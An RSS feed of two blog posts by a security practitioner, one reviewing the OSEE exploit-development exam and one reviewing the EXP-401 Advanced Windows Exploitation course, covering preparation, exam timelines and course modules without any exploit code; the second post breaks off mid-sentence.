<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ommadawn46 on Medium]]></title>
        <description><![CDATA[Stories by ommadawn46 on Medium]]></description>
        <link>https://medium.com/@ommadawn46?source=rss-8466fcedc8d6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by ommadawn46 on Medium</title>
            <link>https://medium.com/@ommadawn46?source=rss-8466fcedc8d6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 11:57:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ommadawn46/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OSEE Exam Review: My Preparation, Experience, and Insights]]></title>
            <link>https://ommadawn46.medium.com/osee-exam-review-my-preparation-experience-and-insights-c518a75a5d0f?source=rss-8466fcedc8d6------2</link>
            <guid isPermaLink="false">https://medium.com/p/c518a75a5d0f</guid>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[osee]]></category>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[awe]]></category>
            <dc:creator><![CDATA[ommadawn46]]></dc:creator>
            <pubDate>Fri, 30 Aug 2024 11:24:47 GMT</pubDate>
            <atom:updated>2025-11-13T10:31:47.253Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rnOMptzpol3zu8nChxrfWA.png" /></figure><h3>1. Introduction</h3><p>On July 13, 2024, I successfully passed the “OffSec Exploitation Expert (OSEE)” certification exam. The OSEE certification is currently regarded as the most challenging among OffSec’s Exploit Development — focused qualifications.</p><p><strong>What this article covers:</strong></p><ul><li>An overview of the OSEE exam</li><li>How I prepared for the exam</li><li>My experience on exam day</li><li>Impressions after the exam</li></ul><p><strong>Who this post is for:</strong></p><ul><li>Those considering taking the OSEE</li><li>Anyone curious about what the OSEE exam is like</li></ul><p>This article is a follow-up to <a href="https://medium.com/@ommadawn46/exp-401-advanced-windows-exploitation-awe-my-preparation-and-experience-90574889c366">a previous post</a> I wrote in May. If you would like to learn more about the specific topics covered in the Advanced Windows Exploitation (AWE) course, please refer to my earlier write-up.</p><h4>Table of Contents</h4><ul><li><a href="#cc50">1. Introduction</a></li><li><a href="#f8ef">2. OSEE Exam Structure</a></li><li><a href="#99e8">3. My Exam Preparation</a></li><li><a href="#8204">4. My Exam Experience</a></li><li><a href="#e367">5. Post-Exam Reflections</a></li><li><a href="#4cac">6. Conclusion</a></li></ul><h3>2. OSEE Exam Structure</h3><p>Among OffSec’s certifications, the OSEE exam is somewhat unique. Below, I will discuss its format and what sets the problems apart.</p><h4>2.1. Exam Overview</h4><p>As stated on the <a href="https://www.offsec.com/courses/exp-401/">official page</a>, the OSEE exam format is as follows:</p><ul><li>Duration: 71 hours and 45 minutes</li><li>Report submission deadline: Within 24 hours after the exam ends</li><li>Number of challenges: 2</li><li>Scoring: Each challenge is worth 50 points (partial credit of 25 points available under specific conditions)</li><li>Passing score: 75 points</li></ul><p>Notably, OSEE comes with the longest exam period among OffSec certifications — nearly four days if you include time to write the report. This length alone makes it stand out significantly as a certification test.</p><p>Another key feature is that you must attend an in-person, live training session (EXP-401: AWE) to be eligible. Most other OffSec certifications can be pursued through online training alone, but OSEE requires in-person participation (though the exam itself is held online).</p><h4>2.2. Characteristics of the Challenges</h4><p>There are only two problems in total. Spending roughly 72 hours on just two tasks may seem difficult to picture, but a good analogy is “writing two modern exploit codes within three days” — for example, a VMware guest-to-host escape or a browser sandbox escape. This gives a clearer sense of the complexity involved.</p><p>Below are a couple of exploit code repositories I created while preparing for the OSEE exam. The exploit development process you’ll face during OSEE is similar to what you see in these examples:</p><ul><li><a href="https://github.com/ommadawn46/chakra-type-confusions">GitHub — ommadawn46/chakra-type-confusions: Chakra Type Confusions — PoCs of Edge’s legacy JS engine vulnerabilities that inject code into the JIT process</a></li><li><a href="https://github.com/ommadawn46/HEVD-BufferOverflowNonPagedPoolNx-Win10-22H2">GitHub — ommadawn46/HEVD-BufferOverflowNonPagedPoolNx-Win10–22H2: HEVD Exploit: BufferOverflowNonPagedPoolNx on Windows 10 22H2 — Escalating from Low Integrity to SYSTEM via Aligned Chunk Confusion</a></li></ul><h4>2.3. Official Information</h4><p>For more detailed information about the exam format, refer to the <a href="https://help.offsec.com/hc/en-us/articles/360046458732-EXP-401-Advanced-Windows-Exploitation-OSEE-Exam-Guide">EXP-401: Advanced Windows Exploitation OSEE Exam Guide</a>. If you want to know more, this resource is invaluable.</p><h3>3. My Exam Preparation</h3><p>From finishing <a href="https://medium.com/@ommadawn46/exp-401-advanced-windows-exploitation-awe-my-preparation-and-experience-90574889c366">my previous article</a> to the actual exam date, I’ll recap what I did during that time. I had roughly two months in total for focused exam prep.</p><h4>3.1. Kicking Off My Prep</h4><p>I originally took the AWE course in February. Around that time, my role at work changed, and I suddenly had a mountain of other things I needed to study. As a result, I didn’t touch any OSEE prep for a few months. Eventually, things settled down, and I was able to start serious OSEE prep around May, when I wrote my previous post.</p><p>Once I finally committed to diving into exam prep, the first thing I did — even before I started studying — was schedule my exam. I wanted to create a hard deadline that would force me to hustle. (To be honest, I know myself well enough to recognize I won’t get moving without a fixed deadline looming over me.) I booked my exam for July and decided to cram all my prep into the remaining time.</p><p>In the following sections, I’ll explain in more detail how I tackled my exam preparation during those two months.</p><h4>3.2. Revisiting the AWE Course</h4><p>As mentioned in my previous article, the AWE course primarily consists of four main modules:</p><ol><li>VMware Workstation Guest-To-Host Escape: Exploiting VMware Workstation vulnerabilities to escape from guest OS to host OS</li><li>Microsoft Edge Type Confusion: Exploiting Microsoft Edge vulnerabilities to escape the Browser Sandbox</li><li>Driver Callback Overwrite: Exploiting vulnerabilities in third-party kernel drivers for local privilege escalation</li><li>Unsanitized User-mode Callback: Exploiting vulnerabilities in Windows OS native kernel subsystems for local privilege escalation</li></ol><p>These modules can be broadly categorized into User-mode Exploits (VMWare, Edge) and Kernel Exploits (Driver, Windows Kernel).</p><h4>3.3. Learning from the Course Material</h4><p>Looking back at the immediate aftermath of completing the AWE course in February, I admit I was somewhat overconfident, thinking, “Exam preparation shouldn’t take too long.” As mentioned in my previous article, earning two challenge coins during the course probably contributed to this excessive confidence. However, when I revisited the exploit code in the course material in May, I realized there were many areas where my understanding was vague.</p><h4>3.3.1. The Gap Between Course and Exam</h4><p>The course challenges generally involve modifying existing exploit code to achieve specific goals. However, this is entirely different from writing exploit code from scratch. The exam requires you to complete exploit code from the ground up, so succeeding in the course challenges doesn’t necessarily mean you’re prepared for the exam. It became clear that I needed to focus on learning how to write exploit code independently.</p><h4>3.3.2. Specific Study Approach</h4><p>Recognizing this situation, I decided to approach my studies using the AWE course textbook, following this process for each module:</p><ol><li>Thoroughly read the exploit code in the textbook, repeatedly debugging to eliminate any areas of vague understanding</li><li>Rewrite the exploit code from scratch by myself</li><li>Solve all the previously unattempted Extra Mile problems</li></ol><p>It took about a month and a half to cover all modules following this approach.</p><p>The process went smoothly overall, but one particular Extra Mile problem was exceptionally challenging, taking over a week to solve. Interestingly, I found this to be the most enjoyable part of my preparation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*UtCG29ypx2N9BXObw8Q0_Q.gif" /></figure><p>While there were quite a few untouched problems in the Exercises section apart from the Extra Miles, I decided to focus more on Kernel Exploit preparation, which I’ll discuss later, and concluded my textbook-based learning at this point.</p><h4>3.4. Additional Learning</h4><h4>3.4.1. Kernel Exploit Preparation</h4><p>For the remaining two weeks before the exam, I concentrated on Kernel Exploit preparation. Specifically, I delved deeper into the techniques related to the most challenging Extra Mile problem mentioned earlier.</p><p>I later published the exploit code I developed during this learning process on GitHub:</p><p><a href="https://github.com/ommadawn46/HEVD-BufferOverflowNonPagedPoolNx-Win10-22H2">GitHub - ommadawn46/HEVD-BufferOverflowNonPagedPoolNx-Win10-22H2: HEVD Exploit: BufferOverflowNonPagedPoolNx on Windows 10 22H2 - Escalating from Low Integrity to SYSTEM via Aligned Chunk Confusion</a></p><p>Writing exploit code independently seems to be the most effective exam preparation method. I felt my skills improved the most during the period when I was writing the above exploit code while reverse engineering the Windows kernel.</p><h4>3.4.2. User-mode Exploit Preparation</h4><p>In addition to the Kernel Exploit learning, I had intended to study User-mode Exploits (such as Chrome vulnerabilities for sandbox bypasses) as well. However, I miscalculated my time allocation and ran short on study time.</p><p>As a result, my exam preparation ended up heavily skewed towards Kernel Exploits. This lack of User-mode Exploit preparation would later prove challenging.</p><p>While my study was imbalanced, I recommend that future exam takers allocate equal time to both User-mode and Kernel Exploit preparation. Ideally, you should spend roughly the same amount of time on each.</p><h4>3.4.3. Additional Reference Materials</h4><p>The OSEE exam differs from other OffSec exams in several ways. I highly recommend carefully reading the official guide from cover to cover before taking the exam.</p><ul><li><a href="https://help.offsec.com/hc/en-us/articles/360046458732-EXP-401-Advanced-Windows-Exploitation-OSEE-Exam-Guide">EXP-401: Advanced Windows Exploitation OSEE Exam Guide — OffSec Support Portal</a> (mentioned earlier)</li></ul><p>I found the sample report particularly helpful to review in advance. You can glean a lot of information from the sample report, helping you form a clearer picture of what to expect in the exam.</p><p>Additionally, reading experience reports from those who have taken the OSEE exam can help you better understand what to anticipate.</p><ul><li><a href="https://fluidattacks.com/blog/osee-review/">OSEE, an Unexpected Journey | Blog | Fluid Attacks</a></li><li><a href="https://www.richardosgood.com/posts/advanced-windows-exploitation-review-part-2/">Advanced Windows Exploitation (OSEE) Course Review: Part 2</a></li><li><a href="https://voidsec.com/offsec-exp-401-advanced-windows-exploitation-awe-course-review/">OffSec EXP-401 Advanced Windows Exploitation (AWE) — Course Review — VoidSec</a></li><li><a href="https://www.manufaktur-it-training.de/post/osee-review-2023">OSEE Review 2023</a></li><li><a href="https://spaceraccoon.dev/awe-osee-exam/">Passing the New OSEE Exam After Forgetting Everything | Spaceraccoon’s Blog</a></li></ul><h3>4. My Exam Experience</h3><p>This section details my thoughts and experiences during the actual exam. Note that I won’t discuss the content of the exam questions, focusing instead on my personal reflections.</p><p>To summarize my overall exam experience in one word: “Exhilarating!” While I’ve enjoyed all of OffSec’s exams, OSEE was particularly thrilling.</p><h4>4.1. Pre-Exam</h4><p>My exam was scheduled as follows:</p><ul><li>Start time: July 13, 12:00</li><li>End time: July 16, 11:45</li><li>Report submission deadline: July 17, 11:45</li></ul><p>On the day of the exam, I logged into the Proctoring Tool 15 minutes before the start time. The passport ID check and room check went smoothly. Just as I thought the exam was about to begin, the proctor’s responses became delayed, causing some anxiety. Then, I received a message stating there was a technical issue on the server side and I should wait.</p><p>All I could do was wait, which was somewhat uncomfortable as I was under camera and screen-sharing surveillance.</p><p>The exam finally started after 1:00 PM. By this time, I was already feeling a bit tired, which felt like an inauspicious start.</p><h4>4.2. During the Exam</h4><p>Immediately after the exam began, I spent about an hour researching both questions. While both seemed challenging, I felt one of the two was particularly difficult.</p><p>After some deliberation on where to start, I decided to tackle the more difficult problem first. My reasoning was that, given the grueling three-day marathon ahead, it would be better to address the most challenging task while my performance was at its peak.</p><h4>4.2.1. The First Challenge</h4><p>As expected, this problem proved highly challenging and I struggled significantly.</p><p>Here’s a timeline of my progress on this problem:</p><ul><li>July 13, 14:00: Started working on the problem</li><li>July 14, 04:40: Achieved partial credit (25 points)</li><li>July 14, 04:50: Went to sleep</li><li>July 14, 10:10: Woke up</li><li>July 14, 23:40: Achieved full credit (50 points)</li></ul><p>It took about 34 hours to complete this challenge. Looking back, I felt like I was groping in the dark the entire time. Every bit of progress led to another obstacle, and this cycle repeated itself. Until the very moment I solved it completely, I questioned whether this problem was actually solvable as designed.</p><p>On the first day, I continued this fumbling process until dawn, making slow but steady progress until I secured partial credit. I went to bed immediately after, but honestly, I couldn’t rest well. I remember having unsettling dreams and only getting light sleep.</p><p>After waking up, progress remained slow. There were times when I made no headway at all, and I was constantly haunted by the fear that I might not solve the first question before the exam ended. Eventually, I found a breakthrough and finally solved the problem in the early hours of the second day.</p><p>This was the happiest moment of the exam for me. However, my joy was quickly tempered by a new worry: “If the second question takes even longer than this, passing might be out of reach…”</p><p>To be honest, I had no peace of mind during the first and second days.</p><h4>4.2.2. The Second Challenge</h4><p>I approached this challenge with apprehension, but surprisingly, I was able to solve it relatively quickly.</p><p>Here’s the timeline for the second challenge:</p><ul><li>July 15, 00:00: Started</li><li>July 15, 04:30: Achieved partial credit (25 points)</li><li>July 15, 04:40: Went to sleep</li><li>July 15, 11:40: Woke up</li><li>July 15, 16:50: Achieved full credit (50 points)</li></ul><p>It took about 17 hours to complete this challenge. In stark contrast to the first problem, this one progressed smoothly, feeling like I just needed to execute what I thought was necessary. I worked until dawn to achieve partial credit, comfortably reaching the passing score.</p><p>Afterwards, I was able to go to bed with a sense of relief and slept better than the previous night.</p><p>After waking up, I encountered no significant hurdles and successfully completed the second challenge.</p><p>With this, I had solved both problems. Given that I started the exam around 13:00 on July 13, it took approximately 52 hours to complete both challenges.</p><h4>4.2.3. Report Writing</h4><p>After taking ample breaks, I proceeded to refactor the exploit code and gather materials (such as screenshots) for the report.</p><p>Here’s the timeline for report creation:</p><ul><li>July 15, 17:00: Started refactoring &amp; gathering report materials</li><li>July 16, 00:20: Began writing the report</li><li>July 16, 07:20: Submitted the report</li></ul><p>I spent about 7 hours on report creation. Initially, I had planned to sleep before finishing the report, but once I started writing, I got into a flow state and ended up working through the night until morning.</p><p>I submitted my report at 07:20 on July 16, concluding my OSEE exam.</p><h4>4.3. Result Notification</h4><p>Then began the anxious wait for the results.</p><p>I found myself jumping at my phone every time I received an email, but the results didn’t arrive. As time passed, I started to worry that there might have been some issue with my submission, and my anxiety gradually increased.</p><p>After two weeks had passed since submission, I couldn’t wait any longer and inquired about the exam grading status with OffSec. They explained that the AWE course was being held at <a href="https://www.blackhat.com/us-24/training/schedule/#advanced-windows-exploitation-38382">Black Hat USA 2024 from August 3–6</a>, and preparation for this event had delayed the grading process.</p><p>I suspect that only AWE course instructors can grade the OSEE exam, making it difficult to grade exams while preparing for Black Hat. Given the advanced nature of the course and the complexity of grading, this is understandable. In retrospect, my timing for taking the exam wasn’t ideal.</p><p>Finally, on August 8, three weeks after submitting my report, I received the pass notification.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lg4Nc3_CRGP-rsRXh_KIcQ.jpeg" /></figure><p>I did it!</p><h3>5. Post-Exam Reflections</h3><p>In this section, I’ll reflect on my experience from AWE course attendance to OSEE certification, now with the perspective of having passed the exam. I’ll mainly share my thoughts on the exam content and its real-world benefits.</p><h4>5.1. Exam Challenge Design</h4><p>Here are my thoughts on the OSEE exam challenges.</p><p>While solving the problems, I felt that the knowledge and skills I had acquired during my exam preparation were being fully utilized, giving me a sense that my abilities were being thoroughly tested. As a certification exam, I found it to be a satisfying experience.</p><p>The challenge design seemed to include twists that tested not just the techniques learned in AWE, but also our ability to apply that knowledge. It gave me the feeling of “This is what an OffSec exam should be like.”</p><h4>5.2. Application to Modern Environments</h4><p>I believe that the technologies and concepts covered in OSEE are still highly relevant in today’s environments.</p><p>Kernel Exploits in VBS/HVCI-enabled environments, and User-mode Exploits in applications with multi-layered sandboxing like VMs and browsers — these Exploit Development techniques are at the forefront of the field in 2024. The skills learned in the course and exam seem to be directly applicable to real-world scenarios in 2024.</p><h4>5.3. Application to Other Environments</h4><h4>5.3.1. OSEE is Windows x86_64 Specific</h4><p>The Exploit Development techniques learned in OSEE are specifically tailored for the Windows x86_64 architecture. As such, they are directly applicable only to Windows x64 environments. Moreover, many of the techniques learned in OSEE are directly applicable only to exploits for specific software.</p><h4>5.3.2. Non-Generic Exploit Techniques</h4><p>OSED focuses on generic exploit techniques like ROP for DEP bypass.</p><p>In contrast, OSEE emphasizes exploitation methods that heavily depend on the unique behavior of specific software:</p><ul><li>Understanding the meaning of each data element in structures</li><li>Comprehending how modifications affect software behavior</li><li>Considering how to bypass specific security features or sandbox mechanisms to construct primitives</li><li>Expanding available primitives and exploring ways to ultimately achieve the goal</li></ul><p>The methods for constructing primitives and achieving objectives vary greatly depending on the software. Techniques that succeed for one target are unlikely to be directly applicable to another.</p><h4>5.3.3. Generic “Analytical Skills”</h4><p>However, while direct application might be limited, I believe that the “analytical skills” developed through OSEE can be applied to other software and environments. In OSEE, we learn to understand software internals, analyze data structures, and consider how to manipulate data to maximize exploit impact. I think these analytical skills, developed through the Exploit Development process, can be abstracted and applied not just to Exploit Development, but even to exploiting web vulnerabilities.</p><p>In my opinion, whether it’s Web or Binary, what’s crucial in exploitation is thinking through how to maximize the abuse of unintended behaviors, and the key to this is how deeply we can understand the internal workings of the software. Among OffSec’s courses and certifications, I feel that OSEE pushes us to consider this point more deeply than any other.</p><p>In terms of developing these crucial analytical skills for exploitation, I believe OSEE offers the most significant learning experience. Of course, knowledge specific to new environments will require additional study. However, I believe the thought processes cultivated through OSEE can be a powerful tool in any software or environment.</p><h4>5.4. Real-World Applications</h4><h4>5.4.1. Offensive Security Operations in General</h4><p>As mentioned earlier, I believe the analytical skills developed through OSEE are valuable across all offensive security operations. This is where I personally feel the greatest benefit.</p><h4>5.4.2. Penetration Testing</h4><p>More specifically, the Exploit Development techniques learned in OSEE could serve as a “secret weapon” in penetration testing scenarios. In penetration tests, we occasionally encounter situations where the scope is so narrow that we run out of things to do midway. While normal operations typically involve discovering known vulnerabilities or misconfigurations, the skills acquired through OSEE could potentially allow us to discover and exploit zero-day vulnerabilities in seemingly secure software, enabling us to achieve our goals. In this way, OSEE skills might serve as a final resort when all other options have been exhausted. (Although, realistically, such opportunities might be rare.)</p><h4>5.4.3. Analysis of Complex Vulnerabilities</h4><p>For those in roles involving the analysis of complex vulnerabilities, there may be many opportunities to apply what we’ve learned. For instance, when vulnerabilities like the recent <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063">CVE-2024–38063</a> are disclosed, the skills required to diff Windows OS binaries, analyze the vulnerability, and assess its exploitability are precisely those demanded by the OSEE exam. The role of capturing vulnerability risks through such analysis might be where OSEE skills can be most clearly utilized.</p><h3>6. Conclusion</h3><h4>6.1. What OSEE Means to Me</h4><p>The sense of achievement I felt upon receiving the OSEE pass notification was immense, and I’m still filled with joy.</p><p>However, it’s rare to find something that allows you to lose track of time and become so deeply absorbed. While I’m happy, I also feel a slight sadness at having lost that. When I recall the days of analyzing binaries, writing exploit code, and battling bugs into the night, I feel a bit nostalgic.</p><p>For the past few years, obtaining the OSEE certification has been my goal. I remember how excited I was when I finally got the opportunity to participate in the AWE course after eyeing it for so long. Subsequently, through the course and exam, I was able to immerse myself deeply in technology again, experiencing truly enjoyable days.</p><h4>6.2. How I’ll Use My OSEE Skills</h4><p>To be honest, in my case, I’m gradually moving away from frontline security operations and vulnerability analysis that directly utilize these skills. Rather than relying solely on my individual capabilities, my current focus is more on management and strategy formulation, requiring a more holistic perspective to ensure that those around me can maximize their technical prowess.</p><p>Amidst various non-technical tasks, OSEE provided me with a technical challenge and valuable time to gain new perspectives. I believe the knowledge and skills cultivated through OSEE, especially the ability to understand software internals, will certainly be beneficial in my current role.</p><p>In any case, obtaining the OSEE certification has become a significant source of confidence for me.</p><h4>6.3. Acknowledgments</h4><p>Lastly, I’d like to express my gratitude to OffSec for providing this fantastic challenge, and to the instructors, Morten and Sickness.</p><p>I’m also grateful to all of you who have read this far. I hope this article provided some useful insights.</p><p>Until next time!</p><blockquote>This article is an English translation of <a href="https://ommadawn46.hatenablog.com/entry/2024/08/29/200907">https://ommadawn46.hatenablog.com/entry/2024/08/29/200907</a>.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c518a75a5d0f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EXP-401 (AWE) Course Review: My Preparation and Experience]]></title>
            <link>https://ommadawn46.medium.com/exp-401-advanced-windows-exploitation-awe-my-preparation-and-experience-90574889c366?source=rss-8466fcedc8d6------2</link>
            <guid isPermaLink="false">https://medium.com/p/90574889c366</guid>
            <dc:creator><![CDATA[ommadawn46]]></dc:creator>
            <pubDate>Thu, 23 May 2024 13:19:13 GMT</pubDate>
            <atom:updated>2025-11-13T10:43:35.877Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcqiA3CSzondV7_KGKZsfA.png" /></figure><h3>Introduction</h3><p>In February 2024, I participated in OffSec’s <a href="https://www.offsec.com/courses/exp-401/">EXP-401: Advanced Windows Exploitation (AWE)</a> course held in London.</p><p>The AWE course is renowned as the most advanced offering in <a href="https://www.offsec.com/courses-and-certifications/">OffSec’s lineup</a>, being the only course assigned a 400-level course number (as shown in the bottom right of the image below).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hAHHxJHnpECOzig0aksmeQ.png" /></figure><p>This training is paired with the notoriously challenging OSEE exam and stands out as the sole course in OffSec’s portfolio that is exclusively conducted as a live, in-person training.</p><p>In this article, I’ll be sharing the following information about the AWE course:</p><ul><li>The themes and content covered in the AWE course</li><li>The preparations I made before attending the course</li><li>My experience participating in the AWE course</li></ul><p>Please note that as of May 2024, I have not yet taken the OSEE exam. This article focuses solely on the AWE course, which serves as the foundation for the OSEE certification.</p><p><strong>(Update) I have passed the OSEE exam: </strong><a href="https://medium.com/@ommadawn46/osee-exam-review-my-preparation-experience-and-insights-c518a75a5d0f"><strong>OSEE Exam Review — My Preparation, Experience, and Insights</strong></a></p><h4>Table of Contents</h4><ul><li><a href="#a671">Introduction</a></li><li><a href="#3b65">1. Course Overview</a></li><li><a href="#9ae2">2. Course Content</a></li><li><a href="#b7a9">3. How to Participate in the Course</a></li><li><a href="#b31b">4. My Preparation</a></li><li><a href="#d153">5. My Experience in London</a></li><li><a href="#422e">6. Conclusion</a></li></ul><h3>1. Course Overview</h3><h3>What is EXP-401: Advanced Windows Exploitation (AWE)?</h3><p>EXP-401: Advanced Windows Exploitation (AWE) is a course dedicated to advanced exploit development in Windows environments.</p><h4><strong>Structure of the AWE Course</strong></h4><p>This course follows a recurring process along these lines:</p><ol><li>You are provided with proof-of-concept (PoC) code for a well-known piece of software (the code reproduces the bug but doesn’t fully exploit it).</li><li>Using the PoC code as a starting point, you reverse engineer the target software to uncover the details of the vulnerability.</li><li>You investigate how the vulnerability can be exploited and then develop exploit code that achieves the intended goal, such as arbitrary code execution or privilege escalation.</li></ol><p>A key feature of this course lies in its intensive focus on “thoroughly analyzing known bugs to verify and implement exploitability.”</p><p>By repeatedly going through the process of “taking the provided PoC code, performing in-depth analysis on the vulnerability, and creating a working exploit from scratch,” you acquire the skills to develop exploit code on your own.</p><h4><strong>Real-World Application</strong></h4><p>In real-world scenarios, we often encounter situations where PoC code that causes crashes, such as those related to memory corruption bugs, is publicly available. However, it’s often unclear whether these bugs are actually exploitable.</p><p>A common example is when platforms like <a href="https://bugs.chromium.org/p/project-zero/issues/list">Google Project Zero</a> publish PoC code that only demonstrates a crash, without confirming exploitability.</p><p>The AWE course simulates this scenario by repeatedly going through the process of starting with such PoC code, verifying exploitability through reverse engineering, and ultimately developing zero-day exploit code.</p><p>Each module covers various targets (VMs, browsers, drivers, OS), and the course is designed to help students acquire exploit development techniques using vulnerabilities that have been assigned actual CVE numbers as subjects.</p><h3>About OffSec Exploitation Expert (OSEE)</h3><p>Completing the AWE course makes you eligible to take the OffSec Exploitation Expert (OSEE) exam. As of 2024, OSEE is considered <a href="https://codeblue.jp/2024/en/training/detail_04/">“the most difficult exploit development certification you can earn”</a> and is recognized as the most challenging certification in the offensive security field.</p><p>OSEE is positioned at the top of the <a href="https://pauljerimy.com/security-certification-roadmap/">Security Certification Roadmap</a> (see the figure below).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*589-W5vXX76LPXLsQMm-eA.png" /></figure><p>Now that we’ve gone over the AWE course overview, let’s dive deeper into the course content.</p><h3>2. Course Content</h3><p>In this section, I will explain the evolution and current content of the AWE course.</p><h4>Relationship with the Lower-Level Course (OSED / EXP-301)</h4><p>Within OffSec’s certification lineup, <a href="https://www.offsec.com/courses/exp-301/">OSED / EXP-301</a>, which is also classified under Exploit Dev, is positioned as a lower-level course to OSEE / EXP-401. Comparing the two, there are the following differences, creating a complementary relationship:</p><h4>1. OSED / EXP-301:</h4><p><strong>Objective:</strong><br>・Master fundamental exploit development concepts<br><strong>Content:</strong><br>・Basic vulnerabilities in Windows user mode (stack overflows, SEH overflows, etc.)<br>・Bypassing basic mitigations (DEP, ASLR)<br>・Use of fundamental tools (WinDbg, IDA Pro)</p><h4>2. OSEE / EXP-401:</h4><p><strong>Objective:</strong><br>・Acquire modern exploit development techniques applicable to real-world scenarios<br><strong>Content:</strong><br>・More complex attack scenarios (escaping virtualized environments, browser exploits, kernel exploits)<br>・Bypassing cutting-edge mitigations (CFG, ACG, VBS, etc.)<br>・Advanced exploit techniques (heap exploitation, out-of-context calls, etc.)</p><h3>Syllabus</h3><h4>Evolution of the AWE Course</h4><p>The AWE course content has been revised several times to remain current.</p><p>During a significant content refresh conducted by OffSec around 2021, some content from the old OSCE and OSEE was moved to the current OSED, and OSEE was made more advanced.</p><p>Here’s an overview of the evolution of the AWE course based on past syllabi recorded in the <a href="https://web.archive.org/">Internet Archive</a>:</p><h4><strong>1. 2009</strong></h4><ul><li>The <a href="https://web.archive.org/web/20100215104923/https://www.offensive-security.com/documentation/advanced-windows-exploitation.pdf">2009 version</a> covered only user-mode exploits, including Egghunter techniques and DEP bypasses, which are now part of OSED.</li></ul><h4><strong>2. 2011</strong></h4><ul><li>Some topics such as Egghunter techniques were redistributed to <a href="https://web.archive.org/web/20090710221011/http://www.offensive-security.com/documentation/cracking-the-perimiter-syllabus.pdf">OSCE</a>.</li><li>In the <a href="https://web.archive.org/web/20111125110937/https://www.offensive-security.com/documentation/advanced-windows-exploitation.pdf">2011 version</a>, new topics like Kernel Driver exploits were added.</li></ul><h4><strong>3. 2015</strong></h4><ul><li>The <a href="https://web.archive.org/web/20160419013619/https://www.offensive-security.com/documentation/advanced-windows-exploitation.pdf">2015 version</a> included topics on bypassing multi-layered defenses like the Exploit Mitigation Experience Toolkit (EMET).</li></ul><h4><strong>4. 2018</strong></h4><ul><li>The <a href="https://web.archive.org/web/20210414081941/https://www.offensive-security.com/documentation/advanced-windows-exploitation.pdf">2018 version</a> added topics like Microsoft Edge browser sandbox escape.</li></ul><p>Overall, OSEE has evolved from user mode to kernel mode and from simple exploits to bypassing multi-layered defenses like sandbox escapes.</p><h4><strong>5. 2021 (Latest)</strong></h4><ul><li>With the introduction of <a href="https://web.archive.org/web/20210127223045/https://www.offensive-security.com/documentation/EXP301-syllabus.pdf">OSED</a> in 2021, DEP/ASLR bypasses were moved to OSED.</li><li>The <a href="https://web.archive.org/web/20240117002631/https://www.offsec.com/awe/EXP401_syllabus.pdf">2021 version (latest version)</a> added a new topic: Kernel Subsystem (win32k) exploits.</li></ul><p>Generally, OSEE has kept its advanced status by shifting commonplace exploit development techniques to lower-level courses and adding new topics through periodic revisions.</p><p>The current OSEE has reached its highest level ever in terms of both volume and difficulty.</p><h4>Latest Version</h4><p>As of May 2024, the 2021 version is the latest AWE course content. The course is divided into five main modules, each covering the following topics:</p><p><strong>1. Custom Shellcode Creation</strong>:<br>・Creating custom shellcode from scratch for the x64 architecture</p><p><strong>2. VMware Workstation Guest-To-Host Escape</strong>:<br>・Escaping from the guest OS to the host OS by exploiting vulnerabilities in VMware Workstation</p><p><strong>3. Microsoft Edge Type Confusion</strong>:<br>・Escaping from the browser sandbox by exploiting vulnerabilities in Microsoft Edge</p><p><strong>4. Driver Callback Overwrite</strong>:<br>・Local privilege escalation by exploiting vulnerabilities in third-party kernel drivers</p><p><strong>5. Unsanitized User-mode Callback</strong>:<br>・Local privilege escalation by exploiting vulnerabilities in the native Windows OS kernel subsystem</p><p>For more details, check the <a href="https://www.offsec.com/awe/EXP401_syllabus.pdf">AWE course syllabus</a>.</p><p>That wraps up our look at the AWE course content. Next, I’ll walk you through the application process for joining the course.</p><h3>3. How to Participate in the Course</h3><p>In this section, I will explain the application process for the AWE course and the differences between events.</p><h3>Applying for Participation</h3><h4>Upcoming Events</h4><p>You can view a list of upcoming live courses on OffSec’s official <a href="https://www.offsec.com/training-and-events/">Upcoming Live Training &amp; Events</a> page. Events marked as “EXP-401 Live Training” are AWE events, and as of the time of writing this article, five more events are scheduled for the remainder of 2024.</p><p>You can register for the AWE course by applying through these event pages.</p><h4>Competition for Seats</h4><p>The AWE course is known for its high demand. In the past, at Black Hat USA, the seats were filled up within minutes of the start of registration.</p><p>Past participants recommend setting up a system to monitor the release of the training page and receive immediate notifications upon its release. This suggests that <strong>securing a seat is the most challenging aspect</strong> of the AWE course.</p><p>However, this is a thing of the past, and it seems that the competition has decreased recently, perhaps due to the increase in participation fees and the number of times the training is held. Currently, securing a seat is not difficult if you have the budget.</p><h3>Differences by Event</h3><p>Since the AWE course is a live course, there are several differences depending on the event you participate in.</p><h4>Course Schedule</h4><p>At Black Hat USA, the course is offered over four days, while at other events, it is typically provided over five 